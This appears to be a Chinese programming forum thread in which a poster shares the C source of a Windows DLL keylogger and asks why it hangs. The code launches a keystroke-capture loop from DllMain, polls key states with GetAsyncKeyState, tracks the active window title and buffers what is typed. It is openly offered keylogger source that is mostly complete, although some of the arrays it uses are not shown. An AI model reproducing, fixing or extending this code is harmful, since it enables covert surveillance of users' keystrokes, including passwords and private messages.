一定是你的hook代码有问题,paste your key code about hooking.

解决方案 »

  1.   

    Sleep(1000)也不好使
    我的dll代码如下,各位帮忙看一下,是一个键盘记录的程序
    HWND PreviousFocus=NULL;
    // End Of Data// Function ProtoType Declaration
    //----------------------------------------------------------------------
    BOOL IsWindowsFocusChange();
    BOOL KeyLogger();
    //----------------------------------------------------------------------
    // End Of Fucntion ProtoType Declaration
    BOOL APIENTRY DllMain( HANDLE hModule, 
                           DWORD  ul_reason_for_call, 
                           LPVOID lpReserved
     )
    {
        if(ul_reason_for_call==DLL_THREAD_ATTACH)
        KeyLogger();   // Run The Keylogger
        return TRUE;
    }//-------------------------------------------------------------------------
    // Purpose: To Check The Active Windows Title
    // Return Type: Boolean
    // Parameters: NULL
    //-------------------------------------------------------------------------
    BOOL IsWindowsFocusChange()
    {
    HWND hFocus = GetForegroundWindow();   // Retrieve The Active Windows's Focus
    BOOL ReturnFlag = FALSE;   // Declare The Return Flag
    if (hFocus != PreviousFocus)   // The Active Windows Has Change
    {
    PreviousFocus = hFocus;   // Save The Old Active Windos Focus
    int WinLeng = GetWindowTextLength(hFocus);   // Get The Active Windows's Caption's Length
    char *WindowCaption = (char*) malloc(sizeof(char) * (WinLeng + 2));   // Allocate Memory For The Caption
    GetWindowText(hFocus,WindowCaption,(WinLeng + 1));   // Retrieve The Active Windows's Caption
    if (strlen(WindowCaption) > 0)   // Really Get The Windows's Caption
    {
      printf("\r\nThe Active Windows Title: %s\r\n",WindowCaption);   // Display The Active Windows's Caption
      ReturnFlag=TRUE;   // Indicate The Windows's Focus Has Changed
    }
    free(WindowCaption);   // Free The Allocated Memory
    }
    return ReturnFlag;   // Return The Flag
    }// End Of IsWindowsFocusChange Function//-------------------------------------------------------------------------
    // Purpose: To Manage(Display)The Keys Retrieved From System's Key Buffer
    // Return Type: Boolean
    // Parameters: NULL
    //-------------------------------------------------------------------------
    BOOL KeyLogger()
    {
    int bKstate[256] = {0};   // Declare The Key State Array
    int i,x;
    char KeyBuffer[600];   // Key Buffer Array
    int state;   // Variable To Hode State Of Some Special Key Like CapsLock,Shift And ect
    int shift;   // Variable To Hode State Of Shift Key// Reset The Buffer
    memset(KeyBuffer,0,sizeof(KeyBuffer));
    //看看这里的死循环是不是有什么问题
    while(TRUE)   // Forever Loop Is Taking Place Here
    {
    Sleep(1000);   // Rest For A While,And Avoid Taking 100% CPU Usage.Pretty Important To Add This Line Or The System Gets Fucked UP
    if (IsWindowsFocusChange())   //Check The Active Windows Title
    {
      if (strlen(KeyBuffer) != 0)   // Keys Are Pressed
      {
        printf("%s\r\n",KeyBuffer);   // Display The Keys Pressed
        memset(KeyBuffer,0,sizeof(KeyBuffer));   // reset The Buffer
      }
    }for(i=0;i<92;i++)   // Looping To Check Visual Keys
    {
      shift = GetKeyState(VK_SHIFT);   // Check Whether Shift Is Pressed
      x = SpecialKeys[ i ];   // Match The Key
      if (GetAsyncKeyState(x) & 0x8000)   // Check Combination Keys
      {
        // See Whether CapsLocak Or Shift Is Pressed
        if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91)))   //Caps Lock And Shift Is Not Pressed
        {
        bKstate[x] = 1;   //Uppercase Characters A-Z
        }
        else
        if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91)))   //Caps Lock And Shift Is Pressed
        {
          bKstate[x] = 2;   //Lowercase a-z
        }
        else
          if (shift < 0)   // Shift Is Pressed
          {
            bKstate[x] = 3;     //Uppercase Characters A-Z
          }
          else
            bKstate[x] = 4;   //Lowercase a-z
      }
      else
      {
        if (bKstate[x] != 0)   // No Combination Keys Detected
        {
        state = bKstate[x];   // Retrieve The Current State
        bKstate[x] = 0;   // Reset The Current State
        if (x == 8)   // Back Space Is Detected
        {
          KeyBuffer[strlen(KeyBuffer) - 1] = 0;   // One Key Back Then
          continue;   // Start A New Loop
        }
        else
          if (strlen(KeyBuffer) > 550)   // Buffer FULL
          {
            printf("%s <Buffer Full>",KeyBuffer);   // Display The Keys Retrieved
            memset(KeyBuffer,0,sizeof(KeyBuffer));   // Reset The Buffer
            continue;   // Start A New Loop
          }
          else
            if (x == 13)   // Enter Is Detected
            {
            if (strlen(KeyBuffer) == 0)   // No Other Keys Retrieved But Enter
            {
              continue;   // Start A New Loop
            }
            printf("%s<Enter>\r\n",KeyBuffer);   // Retrieve Other Keys With Enter
            memset(KeyBuffer,0,sizeof(KeyBuffer));   // Display The Keys With Enter
            continue;   // Start A New Loop
            }
            else
              if ((state%2) == 1)   //Must Be Upper Case Characters
            {
              strcat(KeyBuffer,UpperCase[ i ]);   // Store The Key To Key Buffer
            }
            else
                if ((state%2) == 0)   // Must Be Lower Case Characters
              {
                strcat(KeyBuffer,LowerCase[ i ]);   // Store The Key To Key Buffer
              }
        }
      }
    }// End Of For Loop
    }// End Of While Loop
    return TRUE;   // Return To The Caller
    }// End Of KeyLogger Function
    // End Of File